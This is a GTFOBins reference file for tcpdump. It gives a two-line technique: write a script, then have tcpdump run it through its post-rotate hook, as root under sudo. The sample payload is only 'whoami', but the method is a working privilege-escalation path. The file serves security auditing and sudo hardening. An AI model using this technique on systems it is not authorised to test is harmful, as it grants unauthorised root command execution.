GTFOBins.github.io/_gtfobins/tcpdump.md

10 lines
329 B
Markdown
Raw Normal View History

2018-08-17 17:16:09 +02:00
---
functions:
execute-non-interactive:
- code: echo "whoami > /tmp/whoami" > /tmp/tmpfile
tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./tmpfile -Z root
sudo-enabled:
- code: echo "whoami > /tmp/whoami" > /tmp/tmpfile
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./tmpfile -Z root
---